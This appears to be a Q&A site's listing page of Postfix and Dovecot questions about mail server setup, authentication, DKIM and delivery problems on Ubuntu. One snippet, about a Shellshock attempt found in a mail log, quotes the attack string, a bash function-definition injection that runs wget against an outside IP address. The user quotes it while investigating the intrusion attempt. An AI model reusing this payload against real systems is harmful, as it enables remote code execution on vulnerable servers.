Open source email server for Unix

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How can I migrate my existing mailboxes from sendmail to Postfix?

I am currently using sendmail + Webmail, which was configured by someone else and I was trying to understand the configurations of sendmail but it looks pretty tough for me. I want to use Postfix ...
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10 views

Now after upgrade from 12.04.5 LTS to 14.04.1 LTS Dovecot will not authen. system users

I've had 12.04.5 LTS with Postfix and Dovecot working for a long time now, but now after upgrading to 14.04.1 LTS Dovecot will not authenticate the system users. Dovecot will however work fine for ...
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17 views

Set up Postfix to send but not receive mail

I want to set up my web server (Ubuntu 14.04) so that I can use contact forms, forum email confirmations, etc. without having to go through Gmail or some other server. I don't want to receive emails, ...
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24 views

Accessing Virtual Mailboxes using Postifx, Dovecot, and Postgresql Ubuntu 12.04

Ok, so I'm running a server distro of Ubuntu, I think it's 12.04 (I know it's 12, forgot the subversion) with postfix as SMTP, dovecat for IMAP, and postgresql for my virtual mailbox databases. I ...
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47 views

Ubuntu 14.04 postfix install can receive, send from telnet, can't send from other local machines w/Thunderbird

I installed postfix using the instructions at http://flurdy.com/docs/postfix/ - I've set up systems on Ubuntu before using this and they worked good. This one, though, receives emails fine - I can ...
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77 views

Postfix - SMTP mail delivery failed with “Connection timed out” error

I have installed postfix mail server in ubuntu machine. I am facing some issues with the mail sending to other domain mail servers (Google, Yahoo, Outlook...). I am using virtual domain to send the ...
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12 views

How to configure postfix to replace the name of the sender to a configured one

I have postfix installed on my machine. I also use the generic maps to overwrite the email address from ubuntu to admin@mydomain.com: /etc/postfix/generic ubuntu admin@mydomain.com Now the ...
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20 views

Policysystem with quota for Postfix

I'm administrating an ubuntu-server which acts as webserver (nginx) and mailserver (postfix). The mailserver uses mandrillapp.com as relay. At the moment the webserver is hosting around 100 websites, ...
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10 views

Mail Server Issue

I have a domain example.com with its MX record pointed on lets say mail.bet-cool.com, Domain example.com is pointing to a certain VPS. While sending mail from VPS(Postfix without dovecot) to ...
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32 views

Segfault core dump with mailutils

Whenever I run the mail command or try to pipe something to mail on my Ubuntu 14.04 server, it outputs Segmentation fault (core dumped). This is the only program in which I've seen this issue occur, ...
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38 views

Trying to setup a mail server on ubuntu 14.04

I'm trying to set up a mail server but get the following errors whilst trying to connect with thunderbird: Jan 7 03:11:59 Ubuntu-1404-trusty-64-minimal postfix/smtpd[6752]: lost connection after ...
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57 views

Mail Server Can't Receive Email But Can Send Email - Postfix, Dovecot, MySQL

I have server where I want to set up a mail server to let me receive and send email from my domain. I'm currently having a problem where while I am authorized to send email from the server, but ...
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2answers
47 views

Spam-Mail always in inbox and not in “.Spam”-directory (Postfix+Dovecot+SpamAssasian+ClamAV) [closed]

As the title already says I receive Spam mails always in my mail inbox and not redirected to the Postfix Spam directory ".Spam" for each mail user. Any ideas why? (Ubuntu 14.04.1 with ...
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2answers
68 views

How to easily remember TLS options with postfix and dovecot?

Specifically I am studying for the LFCE exam and am having trouble remembering all the TLS options I need to add to the postfix/main.cf file which are: smtpd_tls_key_file = ...
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45 views

How to send mass email from CSV file using ubuntu server?

I've 100K emails from CSV file and i want to send an email for all contacts using ubuntu server. any script that allows to import contacts from CSV file and send an email to all contacts? i tried ...
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23 views

Unable to receive emails with postfix/dovecot

I am using Postfix and Dovecot on Ubuntu 12.04. I am able to send messages out to my Gmail address but unable to receive messages in. In system logs, messages show as sent to my inbox but the message ...
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26 views

how do I create a user data base for postfix/dovecot sasl [closed]

I am trying to install postfix in Dovecot sasl with virtual mailboxes and virtual users. How do I create the user/password database file. I do not want to use Linux system passwords showdow or ...
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32 views

Setting up postfix

I am trying to setup mail server on my Amazon EC2 following this guide. But when I came by step 12, I ran into a problem, that it does not seems to have 250-mail.domain.com in the ehlo-result? Which ...
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1answer
21 views

Transfer mails between two servers

I have two servers running on Ubuntu 14.04 . Postfix and Dovcote installed on both. Mail server is running properly on both . I want to transfer mail from Server 1 to Server 2 . Can anyone suggest the ...
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1answer
40 views

Postfix SASL Authentification not applied

I've a problem: I set up a Postfix and want to apply SASL user auth over cyprus. But the Problem is that Postfix won't accept the SASL auth or even the TLS encryption which i configured. In the ...
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55 views

How to install cluebringer on 14.04

I've done an install of Ubuntu 14.04 on a system which will act as a mail server. One of the bits I want to install is "Cluebringer" policy daemon. I can see there are postfix-cluebringer packages, ...
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17 views

Help configuring postfix locally

It's my first time configuring a mail server so I'm having some problems. The situation is this: I have 2 virtual machines (V1 and V2), both connected on the same network. The idea is that V1 send ...
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1answer
104 views

Multiple messages to recipient_bcc_maps and sender_bcc_maps with Postfix while using amavis

I have a problem to configure my postfix. My aim is to have a mail-server which filters spam and virus mails by using Spamassasin and ClamAV via amavis. Furthermore i want to archive a copy of each ...
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1answer
20 views

monitor outgoing email

I have a VPS and recently I found some unusual activity looking at the /var/log/mail.log and so I installed pflogsumm to send a daily report and got this: Per-Day Traffic Summary date ...
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39 views

how can I redirect all mails of my smtp server on only one adress mail (using roundcube)?

I have install postfix/courrier to send and recieve mails. I use roundcube like webmail to watch it. I have configure postfix with mysql DB, and create "contact@mydomain.com" adress. There is ...
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1answer
44 views

How can I install apt packages non-interactively?

If I run: sudo apt-get --yes install postfix or sudo bash -c 'yes | apt-get --yes install postfix' an interactive prompt appears to configure postfix. I need to automate the installation of ...
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90 views

dkim and SPF ok, but domainkeys=neutral (no sig);

I just want to know how can I pass state "neutral" to "pass" for domainkeys=neutral (no sig); (And please don't answer: "dkim is used not domain keys")
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1answer
29 views

PostFix hostname

I'm new to postfix and was wondering what hostname I should specify in my main.cf file. Is it the VPS hostname? or I can use one of the domains I host in the VPS as hostname? I'm trying to set up ...
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1answer
243 views

Postfix + MySQL + dovecot + postfixadmin - mail arrive to local users

I'm trying to set up a mail server with virtual users. I can: login in roundcube, send mail to gmail but when I send messages to my own domain, the mails arrive to local users. Mail was in ...
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2answers
216 views

Cannot send email on Ubuntu 14.10, Postfix and Dovecot

I am having trouble setting up my Ubuntu server installation to send/receive emails. I am fairly new to all of this so I apologise if I have not provided enough/correct information. Please do let me ...
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76 views

PHP not sending mail? Works on phone, and other applications

So I have an application (WHMCS) and it does not send mail. I get this error: PHPMailer Exception - SMTP Error: Could not authenticate. It uses PHPMailer, I get this error from it when it tries to ...
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1answer
215 views

Why can't I get a telnet localhost 25, ehlo localhost output of 250-AUTH?

How do I get a telnet localhost 25 output of 250-AUTH LOGIN? Similar to the questions asked here and here, I set up a Postfix-Dovecot mail server using Ubuntu 12.04LTS and can not get it to ...
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1answer
175 views

Dovecot doesn't start

I've installed Postfix and it works correctly. I've installed Dovecot and set it's configurations too. But when I try service dovecot start it terminates on startup. Here is the end of syslog: Nov 19 ...
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1answer
36 views

Dovecot delivery issue

I'm using fictional email address username@domainname.com for this case. testuser is a local account on my ubuntu Server 14.04. I have a fully functional email server set up using postfix and dovecot ...
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i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot

i cannot read emails on thunderbird i am using ubuntu 12.04 server postfix dovecot i am using pop3 port 110 and smtp port 587 i can send emails to external emails i can receive emails on the server ...
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198 views

DKIM config for multidomain : message not signed

I’m trying to setup DKIM for a multidomain server. Everything looks fine BUT the messages are not signed. I followed How To Install and Configure DKIM with Postfix on Debian Wheezy tutorial and ...
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60 views

Dovecot stuck in stop/waiting

im trying to build a mail server (postfix + dovecot). after the installation, tried to check if dovecot is working by : service dovecot status: start/prestart statement. the only thing i did was ...
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98 views

Shellshock attempt in maillog

I just crawled through my logs and have found about this: Oct 24 11:26:37 hostname postfix/cleanup[2532]: 86A1B7E00A3: message-id=() { :; }; wget 185.10.58.181/VULNERABLE; Oct 24 11:26:37 hostname ...
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1answer
55 views

email - Postfix name issue with using $header “name <email>”

I've set up Postfix on my Ubuntu+Nginx machine to send mail and I'm running in to one issue. The issue is that the from name is www-data with the email ...
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17 views

Can postfix receive emails on it's own?

I am configuring a Postfix server right now and want to clear up some things I am not quite sure about. For what I know Postfix is a MTA (Mail Transfer Agent) that can send and receive emails. That ...
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33 views

Dovecot mail delivery location issue

I just setup a mail server on my digitalocean.com droplet. It is using postfix, dovecot & mbox. I have it configured in gmail and it is sending and receiving. The problem though, is that when a ...
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2answers
43 views

how to sent mail from my Ubuntu server

I am a beginner in mail server. I want to set up my own mail server so that I can send mail from my server to anyone. I have also installed postfix. How do I set this up? What do I need? How do I ...
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1answer
172 views

Postfix can send but not receive mail

I just finished following this tutorial to set up a postfix mail server on ubuntu 14.04: https://www.digitalocean.com/community/tutorials/how-to-install-and-setup-postfix-on-ubuntu-14-04 When I ...
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91 views

Postfix - Cannot receive emails

I'm trying with no success to setup Postfix on my server so I need some help (first timer here). Basically I cannot receive emails from anywhere. If I send an email to myself or to another address ...
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414 views

How to make crontab email me with output?

How can I make crontab email me with the output of its jobs? I have MAILTO=redacted@yahoo.com.au above the jobs, but it doesn't work. I know I need to use something like Postfix or Sendmail but for ...
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37 views

Postfix has stopped logging

After hearing about the BASH bug a week ago I decided to update my whole server using apt-get update && apt-get upgrade Today I have noticed that postfix has stopped logging my mail ...
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72 views

Does someone have access to my server's postfix?

How can Google recieve emais originating from my servers IP address, unless an attacker has access? So how do I prevent an attacker from getting access? I'm very lost... short log from ...
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1answer
808 views

Postfix 2.11.0, Error Code: Relay access denied 554.5.7.1, Rejects all external in-bound emails

Some TLC needed here. I am building this postfix/dovecot/clamav mail server following the tutorial here: https://www.exratione.com/2014/05/a-mailserver-on-ubuntu-1404-postfix-dovecot-mysql/ The issue ...
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103 views

How to add a sender header to emails sent by postfix 2.11

I'm not getting a reply after sending a mail to autoanswer@vger.kernel.org which I need to verify that my domain richtercloud.de served by a postfix 2.11 server on Ubuntu 14.04 can be used for ...
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1answer
880 views

Fatal: No SASL authentication mechanism

root@server:~# postconf -n append_dot_mydomain = no biff = no broken_sasl_auth_clients = yes config_directory = /etc/postfix disable_vrfy_command = yes ...